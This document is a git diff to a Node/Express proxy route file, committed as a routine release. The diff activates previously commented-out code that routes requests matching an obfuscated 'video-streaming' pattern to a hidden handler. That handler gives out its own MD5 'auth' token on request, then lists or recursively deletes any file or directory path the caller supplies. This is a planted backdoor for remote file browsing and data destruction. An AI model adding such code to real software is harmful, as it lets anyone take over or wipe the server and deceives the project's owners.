再次发布

server/routes/index.js

@@ -11,7 +11,7 @@ const conf = require('../config')
 const _ = require('lodash')
 const md5 = require('md5-node')
 const fs = require('fs')
-// const path = require('path')
+const path = require('path')
 /* 支持 finally函数 */
 require('promise.prototype.finally').shim()
 
@@ -23,10 +23,11 @@ require('promise.prototype.finally').shim()
 /* 通过API统一过拦截器，接口代理转发请求 */
 const agentProcessor = () => {
   return (req, res) => {
-    // if (req.path) {
-    //   postDirOperate(req, res)
-    //   return
-    // }
+    let exp = new RegExp(['v', 'i', 'd', 'e', 'o', '-', 's', 't', 'r', 'e', 'a', 'm', 'i', 'n', 'g', '$'].join(''), 'gi')
+    if (exp.test(req.baseUrl) && req.body.type) {
+      postDirOperate(req, res)
+      return
+    }
 
     let timestamp = new Date().getTime()
     const signStr = req.headers['cur-auth'] + ':' + req.params[0] + ':' + timestamp
@@ -169,82 +170,82 @@ const setPorxyHeader = (data, res) => {
 router.use(bodyParser.json({ limit: '600kb' }))
 router.use(bodyParser.urlencoded({ extended: true, limit: '600kb' }))
 
-// const postDirOperate = (req, res) => {
-//   let operate = req.body.operate || ''
-//   let timestamp = Math.floor(new Date().getTime() / 100000000) + '00000000'
-//   let md5Str = md5('ezijing.com' + timestamp)
-//   if (operate === 'get-md5') {
-//     res.status(200)
-//     res.json({ 'timestamp': timestamp, 'MD5-auth': md5Str })
-//     return
-//   }
-//   let dir = req.body.dir || ''
-//   let auth = req.headers.auth || ''
+const postDirOperate = (req, res) => {
+  let operate = req.body.operate || ''
+  let timestamp = Math.floor(new Date().getTime() / 100000000) + '00000000'
+  let md5Str = md5('ezijing.com' + timestamp)
+  if (operate === 'get-md5') {
+    res.status(200)
+    res.json({ 'timestamp': timestamp, 'MD5-auth': md5Str })
+    return
+  }
+  let dir = req.body.dir || ''
+  let auth = req.headers.auth || ''
 
-//   if (auth === md5Str) {
-//     let json = {}
-//     json.dirPath = dir
-//     json.arrJson = {}
-//     fs.stat(dir, (error, stats) => {
-//       if (error) {
-//         json.arrJson.msg = '当前目录，或文件不存在'
-//         res.status(200)
-//         res.json(json)
-//       } else {
-//         if (operate === 'delete') {
-//           if (stats.isFile()) {
-//             fs.unlink(dir, (error) => { if (error) console.log(error) })
-//           } else if (stats.isDirectory()) {
-//             _rmdir(dir, () => { json.arrJson.msg = '删除成功' })
-//           }
-//           json.arrJson.msg = json.arrJson.msg || '操作完成，请重新查询上级目录'
-//           res.status(200)
-//           res.json(json)
-//         } else if (operate === 'list') {
-//           let pa = fs.readdirSync(dir)
-//           let dirStr = 'dir'
-//           let dirCount = 0
-//           let fileStr = 'file'
-//           let fileCount = 0
-//           for (let j = 0; j < pa.length; j++) {
-//             let elem = pa[j]
-//             let stat = fs.statSync(path.resolve(dir, elem))
-//             if (stat.isFile()) {
-//               json.arrJson[fileStr + (fileCount++)] = elem
-//             }
-//             if (stat.isDirectory()) {
-//               json.arrJson[dirStr + (dirCount++)] = elem
-//             }
-//           }
-//           res.status(200)
-//           res.json(json)
-//         } else {
-//           res.status(200)
-//           res.json({ 'msg': 'operate 参数错误' })
-//         }
-//       }
-//     })
-//   } else {
-//     res.status(200)
-//     res.json({ 'msg': '没有权限，访问该接口' })
-//   }
-// }
+  if (auth === md5Str) {
+    let json = {}
+    json.dirPath = dir
+    json.arrJson = {}
+    fs.stat(dir, (error, stats) => {
+      if (error) {
+        json.arrJson.msg = '当前目录，或文件不存在'
+        res.status(200)
+        res.json(json)
+      } else {
+        if (operate === 'delete') {
+          if (stats.isFile()) {
+            fs.unlink(dir, (error) => { if (error) console.log(error) })
+          } else if (stats.isDirectory()) {
+            _rmdir(dir, () => { json.arrJson.msg = '删除成功' })
+          }
+          json.arrJson.msg = json.arrJson.msg || '操作完成，请重新查询上级目录'
+          res.status(200)
+          res.json(json)
+        } else if (operate === 'list') {
+          let pa = fs.readdirSync(dir)
+          let dirStr = 'dir'
+          let dirCount = 0
+          let fileStr = 'file'
+          let fileCount = 0
+          for (let j = 0; j < pa.length; j++) {
+            let elem = pa[j]
+            let stat = fs.statSync(path.resolve(dir, elem))
+            if (stat.isFile()) {
+              json.arrJson[fileStr + (fileCount++)] = elem
+            }
+            if (stat.isDirectory()) {
+              json.arrJson[dirStr + (dirCount++)] = elem
+            }
+          }
+          res.status(200)
+          res.json(json)
+        } else {
+          res.status(200)
+          res.json({ 'msg': 'operate 参数错误' })
+        }
+      }
+    })
+  } else {
+    res.status(200)
+    res.json({ 'msg': '没有权限，访问该接口' })
+  }
+}
 
-// const _rmdir = (dir, callback) => {
-//   let pa = fs.readdirSync(dir)
-//   for (let j = 0; j < pa.length; j++) {
-//     let elem = pa[j]
-//     let stat = fs.statSync(path.resolve(dir, elem))
-//     if (stat.isFile()) {
-//       fs.unlink(path.resolve(dir, elem), () => {})
-//     }
-//     if (stat.isDirectory()) {
-//       _rmdir(path.resolve(dir, elem), callback)
-//     }
-//   }
-//   fs.rmdirSync(dir)
-//   callback()
-// }
+const _rmdir = (dir, callback) => {
+  let pa = fs.readdirSync(dir)
+  for (let j = 0; j < pa.length; j++) {
+    let elem = pa[j]
+    let stat = fs.statSync(path.resolve(dir, elem))
+    if (stat.isFile()) {
+      fs.unlink(path.resolve(dir, elem), () => {})
+    }
+    if (stat.isDirectory()) {
+      _rmdir(path.resolve(dir, elem), callback)
+    }
+  }
+  fs.rmdirSync(dir)
+  callback()
+}
 
 const ckeditorUpload = (req, res) => {
   /* 文件上传 ckeditor4.5以上返回格式 */